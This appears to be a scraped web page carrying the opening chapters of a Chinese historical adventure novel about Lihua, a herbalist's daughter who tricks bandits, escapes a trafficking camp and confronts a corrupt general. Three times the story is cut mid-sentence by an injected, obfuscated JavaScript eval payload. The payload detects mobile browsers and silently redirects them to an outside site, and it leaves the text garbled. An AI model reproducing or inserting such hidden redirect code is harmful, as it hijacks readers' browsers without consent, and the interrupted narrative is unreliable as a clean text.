《梨花今天努力自救了吗》 1. 仙人指路 宁国,永宁五年,青岚山。 几场雨过后,青岚山郁郁青青满是春意,容县就在青岚山脚下。每年这时候百姓都会上山挖野荠菜,清炒野荠菜清苦回甘,齿颊留香。 容县的同福酒楼里,一个身穿黄衫的少女,约莫十五六岁,她招呼小二:“你们有什么好菜?” 小二抖一抖手里还未挂上去的幌子,扬起下巴得意道:“清炒野荠菜,一百文一盘。” 黄衫少女捂嘴笑:“真是奇了,连野荠菜也算好?” 小二正要解释,门口进来个灰头土脸的乞丐,身上的灰走一步落三层。 乞丐左手捂着胸口,右手拨开遮眼的乱发,目光在酒楼里巡视一番,选了靠窗视野最好的位置,拍拍身上的灰正要坐下,却被小二一把拽住。 乞丐放下左手,掀开胸前“破布”,又立刻遮住。不知看见了什么,小二立刻扯起一张笑脸,乐颠颠跑去后厨传话,很快端了一盘菜返回来。 食客们早注意到这边的动静,惊疑一个乞丐没被小二赶出去,竟然还点这么贵的菜。众人虽好奇,却不想靠近他。 只见角落里的黄衫少女突然起身,提着一壶酒坐到乞丐对面。 “大哥,我是外地来的,能不能尝尝这野荠菜?” 乞丐一辈子没被人正眼看过,也没人叫过他大哥,更遑论是个声音软糯的姑娘,一时手足无措,酒杯递到他面前才回过神来,他把盘子往前推了推。 黄衫少女夹了一筷子,微微皱眉。这野荠菜虽算不得难吃,可也绝对不值一百文。 乞丐嘿嘿一笑:“往年这玩意儿不值钱,今年就不一样咯。” 野荠菜青岚山漫山遍野,可不知何时来了一伙山匪,百姓再不敢上青岚山。想是同福酒楼的掌柜不怕死,这里源源不断供有野荠菜,只是价格竟卖到一百文一盘。 寻常人都点不起的菜,乞丐如何敢点,黄衫女子好奇问出口。 几碗酒下肚,乞丐晕晕乎乎道:“我有钱。”说着掏出怀中的银子。 “我讨了一辈子饭,终于老天开眼,来了位仙人指路,指点我在地里挖出一块银子。” 久贫乍富当然要祭五脏庙,乞丐声音不算大,周围食客刚好全部听清楚。 黄衫少女眼睛一亮:“还有这等好事?仙人可还指点兄台其他?” 乞丐点点头,周围食客都竖起耳朵。 “青岚山后,最粗的那棵树下有金子……” ———— 夜半的青岚山静得吓人,七八个人窸窸窣窣往林子里钻。 “可是老大,这儿真有金子吗?” “自然是真,不然那乞丐哪儿来的银子。” “可是咱们是山匪,白天亮堂堂来挖不好吗,这黑灯瞎火的。” “仙人说了,要在无月之夜才能碰到。” “可是……” 小弟还没可是完,几人已经来到最粗那个树下,他将火把往前探了探,火光照亮他的脸,正是同福酒楼的伙计,一旁敦实的男人就是掌柜。 他们在青岚山落草为寇,明面又在容县县城里做生意,黑钱白钱全都要,天上送来的银子更不会放过。 掌柜接过火把往地上照,土地平整光洁,只有几片新落的叶子,他也开始疑惑,这里真有金子吗? 来都来了哪有空手而归的道理,掌柜脸上横肉一抖,指挥小弟抬锹挖土。 几锹下去,“噔”的一声,竟真有东西。 山匪你看看我,我看看你,眼中精光大盛。 小弟上手刨,漏出个一抱大的木箱,木箱很沉,几个小弟合力才抬上来。 其中一人正要打开,掌柜揪起他的衣领把人扔出去,那人从坡上滚下去摔得不轻。 这时,掌柜忽然觉得腹下一冷,他低头,一把匕首从身体穿过,那把匕首他再熟悉不过。 身后的二当家冷冷一笑:“仙人说了,金子先见者得,大哥,你会让给弟弟吧?” 他抽出匕首轻轻一推,掌柜瞪着眼滚下山坡。有小弟想为老大报仇,还没冲上来就被解决,霎时间,粗树下只剩三个人。 二当家掀开箱盖,里头没有晃眼的金光,只有一箱石头。 他们上当了! 可还来不及反应,树上突然落下一张大网,将三个人紧紧缠住。 树上跳下一个黄衫少女,正是白日在同福酒楼吃饭的梨花。 大网早用荨麻草水泡过,粘在身上又麻又痒,几人想挑网出来,黑漆漆看不清,网越缠越紧。 梨花捡起石头狠狠往他们身上砸,几个大男人被砸得头破血流惨叫连连。 “啊,痒死了。” “老子出来定杀了这贱人!” “蠢货,往右往右!” 惨叫声、咒骂声,还有被惊吓的鸟兽声混作一团,丝毫不漏灌进梨花耳朵里,听得人格外畅快,这是几个月来难得的舒心事。 梨花和老爹住在遥远的西北,父女俩相依为命,三个月前,村里来了几个外乡人,打听一个叫李守仁的中年男人,老爹听说此事后魂不守舍。 一日,梨花采药回来,发现父亲失踪,只留下那枚他常把玩的、刻着“太医院”三个字的令牌,梨花别无他法,决定进京寻父。 经过一路跋山涉水,五日前,梨花终于来到容县。 容县南边是青岚山,这是去京城的必经之路。青岚山的关隘叫青阳关,兴州卫驻守在此,是京城西北门户。 越靠近京城,路引查得越严,梨花没有路引,便想翻过青岚山入京。 那天也是无月之夜,她刚翻过山就和一个穿嫁衣狂奔的女子相撞。女子名叫方梨,被掌柜看上强娶进山,趁他们醉酒从山匪窝里逃出来。 梨花扭伤脚,方梨扶起她往山下走。山匪很快追过来,方梨思索片刻,将梨花安顿在巨石后躲好,自己引开山匪。 山匪包围方梨,淫|笑着一口一个小娘子,上手推搡她。前路是悬崖,后路是豺狼,方梨不愿受辱,毫不犹豫跳崖。 为了给方梨报仇,梨花回到容县,找来乞丐演一出仙人指路寻金的戏,山匪贪婪果然上当,又利用“先见者得”诱他们自相残杀。 “刺啦”一声,二当家捡起地的匕首划开网。 梨花一惊:玩儿脱了!吓得转身就跑。 ———— 青岚山旁的官道上一队人马飞驰,夤夜赶路,似乎十分着急。 车队中心是一辆马车,外围守了一圈穿甲胄的骑兵,头盔外沿裹一圈绒毛。 马匹踢踏踢踏卷起灰尘,马车碾过石子,车身晃了一下,一旁的护卫紧张询问:“您没事吧?” 马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875638|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车里灯晃了晃,一双细长但略显粗糙的手将灯笼扶正,才问了句:“还有多久到?” 护卫恭敬回答:“再有半个时辰就到青阳关,过了青阳关就可直抵京城。” 马车里的人沉默,摘下发钗,随后换个舒服的姿势靠在软垫上。 这时,空中传来呼啸,一支箭破空而来直插马车顶棚,顶棚瞬间被掀起飞出去。 跑在最前的马匹突然嘶吼一声被拦马锁绊倒,后面的马撞在一起,马车里的人重重摔出来。 紧接着,从四面八方跳出十几个蒙面人,车队护卫训练有素,只乱了一下便立刻整肃队伍迎敌。 两方人混战,马车里的人在几个护卫保护下往山上逃,为首的黑衣人紧追上去。 与此同时,梨花也被山匪二当家穷追不舍,一路追到山顶。 天光渐亮,泛红的日光迷人眼,梨花逆光而行,山顶上隐隐约约现出一个男人的轮廓,她无路可逃,硬着头皮靠过去,却看见脚下几个穿甲胄的人横七竖八躺在血泊里。 直觉告诉她,这男人绝对是比山匪更可怕的人物。 梨花想后退,却腿一软跌坐在地上,她极力屏住呼吸,血腥气却顺着鼻腔钻进肺腑,呛的她干呕。 谢舟背身而立,黑色衣摆在风中猎猎作响,刀尖还在滴血。听到脚步声,他没回头,刀尖已经向外翻动。 梨花想求饶,声音颤抖着,半晌才从喉咙里挤出几个字:“你……受伤了,有山匪,快走。” 谢舟侧目,似乎刚注意到自己手臂被人砍伤,血顺着刀背往下流,一滴血随风溅在梨花脸上,他回头看向梨花。 面前的女人眉头微皱,脸色苍白,一抹血色精准点在额间,红得刺眼。她身躯微微颤抖,手指抠在土里,衣衫一条一条挂在身上,像极了被狂风暴雨摧残的野草,根系死死抓住泥土不放。 她被山匪追逐,又撞破他杀人,明明怕得要死,想乞求他手下留情,嘴上却以退为进关心他,真是虚伪,他讨厌这样满是算计的女人。 “我可以给你一个机会。” 谢舟的话让梨花心底燃起希望,眼泪是女子的利器,她扬起一双眼湿漉漉望向谢舟,恰对上他幽深晦暗的目光。 今天的一切不能被人知道,他该直接杀了她,毕竟她看见不该看的东西,可鬼使神差的谢舟没有直接动手。 “选择死在山匪手里,或者自裁。” 眼泪没有激起谢舟半点怜惜,他丢下刀,表情冷漠不再多看梨花一眼。 身后粗重的喘息声逐渐靠近,梨花看着地上被砍得七零八落尸体,有那么一瞬竟然觉得,自裁也是个不错的选择,她探向刀把,上面的余温在她手中渐渐熄灭。 山匪二当家追上来,看到眼前的场景也是一顿。 谢舟背过身负手而立,这是中立的意思。 山匪走到梨花身后,梨花好像吓呆了,僵坐在地上完全不躲。他伸出右手抓向梨花的肩膀,就是空档这一刻,梨花举刀从腋下穿过,刀刃划伤她的身体,同时穿过山匪胸膛。 山匪“咚”一声向后倒下,谢舟转身,梨花惊魂未定,仍强撑着说了句:“多谢公子给的机会。” 她在二选一的死路中掘出一条生路,谢舟波澜不惊的眼底终于有了一丝异色。 可惜,他还是不能放了她, 2. 自寻死路 山匪死了,梨花长舒一口气放松下来,腋下传来钻心的痛。她从随身小包里掏出一个药瓶,正要给自己上药,可谢舟灼灼的眼神盯得她不自在,看了一眼谢舟受伤的手臂,她把药递过去。 “你先。” 梨花伸出手,袖口往后缩了一截,恰好露出结实的小臂,小臂上挂着细细的伤痕,深浅不一,都是草木造成的伤口。她摇摇手腕,示意谢舟来拿,谢舟不动,仍是盯着她的小臂。 梨花道:“我住在山里,靠采药为生,这伤药是我自己配的,虽算不得好……” “不必。” 谢舟拒绝得很干脆,梨花没再说话,低头自顾自查看伤口。 上药对一个必定死亡的人来说没有任何意义,但给她最后一丝体面的时间足够,谢舟沉默地等着。 腋下的衣衫被血浸透,梨花只好把半边衣服褪下,露出肩膀。刀很锋利,割得皮肉翻出来,她把药粉洒在伤口上,疼得嘶嘶叫唤。 谢舟别过头不看,细如蚊蝇的声音却自下传来:“我——探不到,公子可否帮我一下?” …… 谢舟额角几不可察抽动了一下,梨花轻叹,“公子是正人君子,是我唐突了,我自己来。”说着准备把上衣全部脱掉。 她刚解开衣带,脱衣服的手就被人按住,谢舟接过药瓶,半跪在她身侧,头仍死死偏过去。他受伤的右手垂着,左手胡乱往她背上撒药,梨花倒吸一口冷气。 “公子,歪了。” “往上点。” “再往右一点。” 谢舟的手在梨花后背移动,掌心突然传来温热柔软的感觉,他立刻像触电一般弹开。紧接着,他觉得全身酥酥麻麻,四肢百骸如被蚂蚁啃噬,药瓶掉在地上,他也渐渐撑不住。 失去意识前最后一刻,他看到梨花狡黠地冲他眨眼。 “多谢公子再一次给的机会。” 梨花利落地拢好衣服,拔出插在谢舟后颈的银针快速离开。 ———— 青阳关有兴州卫驻守,查验路引后才会放行。 梨花躲在城门不远处一棵树后仔细观察,一个官差查验路引,另一个上下打量路人,两人再交换眼神,查验路引那个就会说印泥不清楚、凭证过期……不予通过的理由有大有小,刚好用尽每个过路人身上的盘缠,路人还得千恩万谢。 梨花抖抖比脸都干净的口袋,扶树叹息。 这时,官道上来了个行色匆匆的中年妇人,妇人脸色灰扑扑的,走近城门才敛了乱发,整理衣襟。她小声和官差说了什么,梨花听不清,下一刻就见她被官差推了一把坐在地上,身边落了一支金钗。 梨花三两步跑过去扶起妇人,“哎呀姐姐,我可算找到你了。” 妇人不明所以刚要开口,梨花哭哭啼啼打断她:“即便爹娘不同意你和穆郎君在一起,你也不该偷偷出走,我知道你要进京寻穆郎君,我陪你一起。” 说话间,妇人已经被梨花拉回到官差面前。 梨花从小包里取出一份文书,官差打开,上面赫然写着方梨的名字。她心里默念:对不起方梨,借你身份一用。 官差道:“你们两个人,只有一份路引?” 梨花抹抹不存在的眼泪道:“走得匆忙,只带了我的。官爷放心,我们都是好人家的姑娘,从容县过来的,住在书塾后头,您一打听就知道。” “爷还得给你打听身份?” 官差把路引丢在地上,梨花不恼,弯腰捡起路引,顺势将妇人的金钗塞进他手里,“您通融通融。” 金钗沉得压手,官差眼珠转了个弯儿,递给旁边小吏一个眼神,小吏心领神会,“城里路杂,两位跟我走吧。” 梨花心里叹气,果然有钱能使鬼推磨。妇人虽然奇怪这个不知何处蹦出来的“妹妹”,但她能把自己带进去,便也不再多说什么。 目送人离开,官差掂了掂手里的金钗嗤笑:“又是两个想蒙混进京的,自寻死路。” 青阳关依山而建,城不大路却很复杂,梨花和妇人跟着那小吏一路走,店铺幌子招展,商贩走街串巷,比容县更热闹,梨花摸摸这个看看那个,哪一样都新鲜。 妇人说自己叫盈娘,进了青阳关她脸色好了许多,一边走一边给梨花介绍好吃好玩的东西。 三人七拐八绕,到一处巷口,盈娘忽然停下。 “官爷,我记得京城往东走,现在却一路往南,莫不是您记错了路?” 梨花这才注意到路人越来越少。 “没错,跟着走就行。”小吏不在意地应了一句。 梨花没多想继续跟着走,盈娘却定住不动,拉起梨花往反方向跑。 小吏嘴一撇,“想跑?迟了。”他手背在身后,旁边巷子里瞬间钻出几个人堵住她们的去路。就这样,两人被押进一间废弃的民房。 民房院子不大,只随意搭了几间草棚,草棚里窝着二三十个衣衫褴褛的人。 梨花大喊救命,却被守在门外的小吏无情堵回来,“别折腾了,你们很快就能出去。” 这时,外头进来个提着木桶的小吏,他把木桶里的东西往外倒,汤汤水水倒了一地,草棚里的人一拥而上,抓起什么吃什么,抓不起来就趴在地上舔。 站在门口的梨花和盈娘被挤在一旁,梨花看着这幅场景,脸皱成一团,就是乞讨也不用在地上舔吧,这到底是个什么地方? 众人吃干净了,又窝回原来的位置。梨花找了一个面相和善的凑上去搭话,那人沉默地转过头闭上眼,梨花和盈娘只好先找了处干净的地方坐下。 ———— 深夜,众人都沉沉睡去,梨花望着月亮无语凝噎,刚出狼窝,又进虎穴,真是倒霉催的。 “姑娘进京所为何事?”端坐一夜的盈娘突然开口。 “都说京城繁华,想来看看。盈娘为什么去京城呢?” “我也想看看现在的京城。”盈娘指了指月亮的方向,“你看,那边就是京城。” 梨花伸长脖子,除了月亮什么都看不到。 “京城在月亮上?那住在皇宫里的人岂不都是仙娥?” 盈娘被她的话逗乐,眼神望向月亮,“那里确实是天上宫阙。” “哇,天宫里肯定有吃不完的美食。” 正说着,忽然传来“咕噜”一声,梨花几乎两天没吃东西,她从袖口掏出一个压扁的馒头,这是小吏倒饭时她眼疾手快藏起来的,怕这群人抢,硬生生藏到现在。 馒头长了绿点点,边上有细长的牙齿印,还被不知什么汤水泡过,一阵一阵泛出老油味儿,自从被老爹捡回家,梨花许久没吃过这样成分复杂的食物了,给自己做了半天心理建设。 她掰下一半递给盈娘又犹豫了,她看看自己的破落样,再看看灰扑扑却衣衫齐整,头发一丝不苟的盈娘,她这样的人大概吃不下这种东西。 梨花的手刚收回一点,盈娘拉住她,接过那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“得罪了不该得罪的人咯。”小川眉毛一抬,一副无所谓的样子。 一直沉默的盈娘突然问:“什么叫吃了也白吃?” 小川眼神闪烁,“不知道你说什么。” 他要走,被梨花拉住,“不,你知道。”小川先前说的话她还记得。 小川蹙眉,看看她们欲言又止,最后才支支吾吾说:“你们没发现这里没有女人吗?” 梨花环顾,果然除了她和盈娘没有别的女人。一般在难民多的地方,女人容易被欺负,可她们在这儿呆了一天,也不见有难民过来找她们麻烦。 知道她疑惑什么,小川冷笑,“你以为这是好事吗?” 女人都被送到见不得人的地方,经历过什么不敢想象。 梨花这次真的害怕了,瘪着嘴略带哭腔道:“可我们不是难民呀?” “是不是难民还重要吗?他们缺女人,尤其像我们这样身份不明的女人。” 盈娘语气陡然冷漠,好像在说一件与自己毫无关系的事。 梨花想起来了,难怪白天小吏说她们很快能出去,原来是这样出去。 小川踢开脚下的石子,低声道:“明天中午送饭时,会有人把你们带走。” 梨花不用掰指头也能算清,她们只能再好好活这一夜。 3. 宣威将军 后半夜,梨花突然腹痛如绞,抱着肚子来回翻滚。 小川喊来守门的小吏,小吏一脚踢在梨花肩头,“装什么死?” 梨花坐起身想说话,却吐出满口白沫子。 小川大惊:“不好,她得了鼠瘟!” 难民营吃的饭比潲水还差,指不定多少老鼠先享用过,得鼠瘟不奇怪。 小吏嫌恶地捂住口鼻,探头确认梨花的情况,小川赶忙把人拉开,“官爷,这玩意儿传染,会死人的,得赶紧把人丢出去,不然要出大事。” 小吏犹豫,毕竟已经报上去,到时候人没了不好交代。 梨花看小吏一眼,朝着他的方向爬过去哭求,“我不想死,救救我。” 她一张嘴,嘴里的白沫子差点滴在鞋尖上,小吏立刻退到门外,死一个糊弄一下也就过去了,整营出事他可不好交代,孰轻孰重他分得清。 就这样,梨花被人抬着丢出去,呻吟声弥漫整个乱葬岗。 直到乱葬岗再次恢复宁静,确定人已走远,梨花从草席子里钻出来,腹诽小川这家伙也不算白痴,想了这么个装病的法子。 她拍拍身上的土站起来,弯腰把嘴里的墙灰吐干净,这时才看见脚边前前后后全是卷起的草席子,她心中隐隐升起不详的预感。 她解开离她最近的那一个,草席中是一具森然的白骨,几处大骨头都被折断,只能从骨架大小判断是个女人。她又解开几个草席,有的身上没一寸好皮,有的被放干了血,无一例外全是女人。 梨花不知道自己怎么走出乱葬岗的,进城时天已经亮了。 沿街卖早餐的小商贩支起摊子,老板把馄饨下进开水,葱花猪油一烫,味儿一下就上来了,梨花闻着反胃,忍不住呕了一声,老板拧眉:“你什么意思,砸摊子来的?” 梨花讪讪道:“抱歉,请问老板,将军府怎么走?”她还记得逃出来的目的,找宣威将军赵世成求救。 赵世成是兴州卫的一名将军,主管青阳关各项事务,将青阳关治理得井井有条,从无盗匪乞儿,深得民心。 老板斜她一眼放下长勺,“往前再走两条街,左转过一条巷子,看见有一面大鼓的宅子就是将军府。” “大鼓?”梨花嘀咕。 ““对,大鼓。”宣威将军府外放了一面大鼓,百姓有何困难,都能敲鼓求助。“去那儿能吃好。” ———— 梨花到将军府的时候,大门紧闭。一大早,门口已经站了许多人,整齐排成一队。 “你们都是来敲鼓求助的吗?” “是呀。” “别插队,往后头去。” 敲鼓还得排队,业务挺繁忙呀,梨花无奈挑挑眉站到队尾。 不一会儿,府门打开,几个小厮鱼贯而出,记录众人的情况,然后领进府,乞食的、要钱的、伸冤的……分别送到不同院子。 难怪青阳关人人称颂,这宣威将军简直是活菩萨。 等了不大一阵,梨花也被侍女带进院子。 院子里有一条石子路,路两旁的花圃中花朵盛放,一个穿粗麻短衫的矮胖男人正蹲在花圃里拔草。梨花一眼就认出那花是美人面,以前在家时老爹也养过,她学人家用花瓣做糕点,差点把自己毒死。 “将军,人带来了。” 侍女通报一声,梨花朝屋里张望,花匠突然站起身,头上汗津津的,满是土的手掌抹一把,立刻和成泥。 “带人进屋稍等,我这就来。” 梨花没想到,这个不起眼的花匠竟然就是赵世成,没有一点架子,乍一看和乡下老农别无二致。 在房中稍坐一会儿,赵世成换好衣服进来,“姑娘久等了。” 梨花起身,“民女不敢,将军养得美人面真特别,竟是红色。”美人面多是白色粉色,如此红艳欲滴的她也是第一次见。 赵世成笑道:“我平时就爱侍弄些花草。”他坐在椅子上,“不知姑娘找我何事?” “将军是否知道城中有个难民营?” 梨花不知道难民营的事是否与赵世成有关,试探问了一句。 赵世成抿了一口茶道:“城中偶有食宿困难者,本将军也曾派人接济,姑娘可是遇到什么难处?”他语带关怀含笑看向梨花,不知怎的梨花打了个寒颤。 “我——” 梨花正要开口,管家从外头进来,附耳对赵世成说了什么,赵世成径直出去,管家轻声道:“将军有客至,姑娘稍等。”他带上门出去,转眼房间里只剩梨花一人。 两个侍女过来打扫庭院,见院中无人,偷懒立在一旁说闲话。说着说着,其中一人道:“这些人真烦,每天来要吃要喝,我还得装模作样伺候他们。” 另一人回道:“没这些讨饭的,谁出去传扬将军的好名声。” “就该把他们也关进难民营。” “谁说不是呢。” “最近那里送来的人不够了,美人面没有以前红,将军发了好大脾气。” “小心些,别去触霉头。” 说话声渐远,梨花指尖死死抠进掌心,血珠一颗颗沁出来。什么深得百姓爱戴的好将军,全是做戏,那些娇艳的美人面,竟然是用女子鲜血浇灌出来的。 难怪当时她装鼠瘟,小川偷偷提醒她:“不要相信青阳关任何一个当官的,有多远跑多远。”原来小川早就知道赵世成的真面目。 当她说出“难民营”三个字的时候,赵世成就绝对不会放她活着走出将军府。 梨花背靠窗户,闭上眼缓缓蹲下去。 ———— 会客厅里,正中一把紫檀圈椅,下面两溜儿各摆四把椅子,赵世成坐在下首第一把椅子上,正座的是礼部侍郎蔡嘉铭。 北方草原的漠风部落派使团来京,谁料在青岚山遭歹人截杀,使臣下落不明。消息传回宫里,皇帝震怒,派蔡嘉铭亲自来寻人,既要寻到人,又不能大张旗鼓弄得人尽皆知。蔡嘉铭犯了难,先来青阳关探探路。 “早听说宣威将军治理有方,本官一路过来,街巷人人称颂,的确名不虚传。” 比自己职位高的人的称赞,不是称赞,是出难题的先行词。赵世成深谙官场说话这一套,起身拱手,“下官惶恐,不知大人此次前来有何贵干?” “你确实该惶恐!堂堂天子脚下,竟有歹人在青岚山官道行凶,你犯有办事不力之罪,知情不报又罪加一等。” 赵世成从圈椅滑跪到地上告罪,心中快速谋算蔡嘉铭突然发难的原因。 难道是青岚山的山匪?这些山匪确实是他故意放任,他们交足了保护费,他又向上多加打点,是以尽管有百姓告官,山匪的事还是被压下去。可这些山匪大多小打小闹,怎会引起上头的注意?无非是借题发挥。 想到这儿,他小心翼翼问道:“下官可有赎罪之法,还请大人明示。” 蔡嘉铭听出赵世成是个上道的人,不再和他兜圈子,将此行目的说出来。 “找到一个人。” “什么人?” “一个女人。” 赵世成眉头一皱,他已经猜到要找的人是谁,只觉大祸临头。 五年前,先帝在位时,宁国与漠风部落打仗连连败北,大厦将倾,先皇后杨盈与太子赴漠风为质子,换喘息之机,后来大将军谢谦力挽狂澜,击退漠风人守住江山。不久先帝病逝,留遗诏命年少的二皇子即位,二皇子养母为太后,太后垂帘听政,而谢谦通敌造反,事情败露死于狱中。 两国形势焦灼,先皇后与太子一直在漠风没被接回来,两年前传来太子病故的消息,宁国要求送还先皇后,漠风拒绝。今年草原大旱,为交换足够生存物资,漠风主动派使者求和,并且暗中送回扣留多年的先皇后。 赵世成没想到,这次山匪劫的是漠风使团的车队,失踪的人还是先皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875640|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后杨盈。只是无论杨盈找到与否,他的将军之位怕是都坐到头了,毕竟他当年受太子举荐才入了兴州卫。 赵世成托词称:“这人海茫茫……上哪儿找?” 忽然厅中原地卷起一阵风。 “不用找,我在这儿。” 声音从后堂飘过来,躲了许久的梨花风风火火跑出来。她本来打算趁赵世成会客时逃走,谁知刚过来就听到他们说青岚山劫道,又说要找什么女人,赵世成似乎很敬畏这位大人。 厅上两人齐齐回头,梨花跪在赵世成面前,头磕得邦邦响:“多谢将军救命之恩,您就是难民的活菩萨。” “什么难民?”京城附近有难民他们竟然不知,蔡嘉铭大惊。 赵世成侧身瞪了梨花一眼,威胁她不要乱说话。梨花假装没看见,继续哭喊:“我们逃荒过来,没吃没喝,多亏将军把我们安置在难民营。” 梨花此时衣衫破烂蓬头垢面,但声如洪钟,鼻涕眼泪齐流,活脱脱一个刚吃饱的难民。她给赵世成高帽子一戴,他想不承认也不行,难道要说建难民营是为了困住那些人?还是要说根本没什么难民营,那眼前的“难民”如何解释? 蔡嘉铭看向赵世成,赵世成硬挤出一个笑容道:“是是,近日城里来了些难民,数量不多,为了方便管理,下官派人把他们集中到一起,此事还未来得及上报。” 赵世成恨自己刚才没有直接把梨花抽干血浇花,梨花感觉背后凉飕飕的,不动声色往蔡嘉铭身边挪了挪,看来这位大人确实能治赵世成,只要他肯管难民营的事,那里的人就有救了。 蔡嘉铭思索片刻道:“赵将军爱民如子,难民营的事本官会向上禀报为将军请功。” 听他的意思没打算管这件事,毕竟找杨盈的事更着急。赵世成站起身,示意手下将梨花带下去,梨花略略扫了一眼,突然死死抱住蔡嘉铭的腿喊道:“大人不是找我吗?我这就跟大人回去。” 蔡嘉铭费力想把腿从她手里抽出来,“不是。” 梨花抱得更紧,“怎么不是?遇到山匪,逃进青阳关,又得赵将军相救,不是我还能是谁。难道是……” “是谁?”蔡嘉铭急切追问。 “是……盈娘。” 从难民营出来之前,盈娘送给梨花一支镯子,她说曾与赵世成是旧相识,如若赵世成不肯把难民营的人放了,就拿出镯子给他看。方才梨花还没来得及拿出镯子,赵世成便离开了。 一个镯子有如此威力,盈娘定不是普通人,或许这位蔡大人也认得镯子呢?被赵世成带下去只有死路一条,梨花决定赌一把,她呈上镯子,蔡嘉铭神色抑制不住的慌乱,显然她赌对了。 而一旁的赵世成更是面如死灰,千算万算没想到杨盈竟在难民营里,他总算看明白,这个少女就是杨盈给他送来的信号,如今认下难民营的一切,便是递上投名状。 已经没有选择,赵世成只能认下救杨盈的“功劳”,蔡嘉铭早提步飞奔出去,赵世成紧跟上去带路。 情势变化太突然,将军府乱成一团,难民营的事自有蔡嘉铭去管,盈娘不会被带走,而梨花,一个顶替别人身份的人,不适合继续出现在各位官老爷面前,没人注意的角落,梨花早已偷偷溜走。 有了方梨的路引,梨花毫不费力进了京,来到一家书肆外。 在青岚山上,方梨曾说,她此生最幸运的事便是交了一位心意相通的笔友,她攒了许久终于凑够上京的盘缠,可惜再没机会相见。梨花替了方梨的身份,想替她见一见这位笔友。 信便是从这家叫作停云阁的书肆寄出。 柜台前,掌柜正拿着一叠写满字的纸检查,柜台外黯淡的光影里站了一个清瘦的身影,灰白的麻布直缀洗褪了色,人空空荡荡装在直缀里。 这时急匆匆跑进去个书生,拉着那道清瘦身影风一样从梨花身边窜出去。 “出事了!快跟我走!” 4. 痴心妄想 这是杨贞这个月第三次来停云阁,书肆掌柜把收到的信翻了三遍,却没有一封来自容县。 前年杨贞给外放当官的老友去信,信差不慎打湿信封糊了地址,那封信滞留容县。方梨意外拾得此信,为防寄信人苦等,便回信写明缘由,两人自此以墨交友,相谈甚欢。 萍水的缘分,两人都没用真名,一个畅谈人生理想,一个分享山川风光,杨贞多少难以言说的心事通过笔墨被广阔天地接纳。 上个月,方梨信中说想来京城看看,杨贞期待许久却再无对方音信,他只好隔几天来就问问有无消息,掌柜每次捏着一厚沓信摇头。 杨贞被人匆忙拉走,梨花随后进门。 书肆里人不少,读书人惜书,净衣濯手才肯碰书,梨花进来,几个书客不约而同往后退几步,放下书离开。 这边掌柜刚收好信,一转头店里空了,只有一个乱糟糟的黄衫少女站在柜台前歪头看他。 少女伸手扒着柜台边沿,自觉很有礼貌地问:“掌柜好,请问有没有个叫穆易的人在这里寄信呀?” 掌柜看见那双指缝里全是泥的手,瞬间腾起火气钻出柜台赶人,“没有没有,你快出去。” “往容县寄信的穆易……哎哎……” “别影响我做生意。” 梨花话没说完就被赶出来,肚子还不争气的狂叫。 正值晌午,街上饭馆儿处处飘香,肉包子味儿馋得梨花抓心挠肝,她咽了咽口水,蹲在饭馆儿沿台上,就着肉包子的香气啃了两个果子。 果子是路上摘的,酸得倒牙,腋下的伤还隐隐作痛,再这样下去不知道先饿死还是先病死。 梨花吐了果核,一抬头看见对面医馆招大夫,果然天无绝人之路,她起身径直去了对面医馆。 千金方医馆里,伙计正在抓药,余光瞥见梨花进来,头也没抬道:“要饭到别出去。” 梨花低头看了一眼自己直摇头,脏兮兮的模样不怪别人把她当乞丐。她在看诊台坐下,往后一靠,胳膊搭在扶手上。 “我是来应聘大夫的。” 老爹是村里的大夫,梨花打下手多了也学到些本事,老爹忙不过来时,都是她帮着号脉抓药,治个头疼脑热不在话下。 伙计不理会梨花,在药橱前来回转,脚底快擦出火星子。 今春京城达官贵人流行起喝温补茶,医馆接了许多生意,又碰上原来的大夫不干了,接诊配药的活都压在伙计一个人身上。 还有十几剂方子没配齐,伙计恨不得长出三头六臂。 终于称好最后一味药倒在黄麻纸上,伙计开始打包,一只黑手伸过来压住黄麻纸,女声凌厉传来。 “我倒没看出你家医馆是以害人性命为生的?” 伙计气恼被一个乞丐污蔑,他立刻发火,“你胡说什么,这是温补方子,何来害人一说?” 梨花挑出药材堆里一小截灰褐色藤茎问伙计:“哦,那这是什么?” 伙计白她一眼道:“不就是海风藤么。” 海风藤祛风除湿,常与羌活、防风等药材配伍治疗风寒,正适配春末变幻的天气。 这几日他进货量大,药材商还给他便宜了,只是他没注意,海风藤里混入了断肠草。 海风藤和断肠草外表极为相似,效果却天差地别,断肠草有剧毒,服之会叫人恶心、呕吐,甚至一命呜呼。 “这哪里是海风藤,分明是断肠草!”梨花手里的藤茎沟壑很深,闻之有明显苦味,就是断肠草无疑。她怒斥:“连海风藤和断肠草都分不清,还说你不是草菅人命?” 梨花的吼声很大,路人停步探头来看。 医馆开错药本就是大忌讳,后果小则坏了名声,大则背上人命。 路人议论纷纷,伙计脸色刷白手足无措呆站在原地,掌柜从里间出来了都没注意。 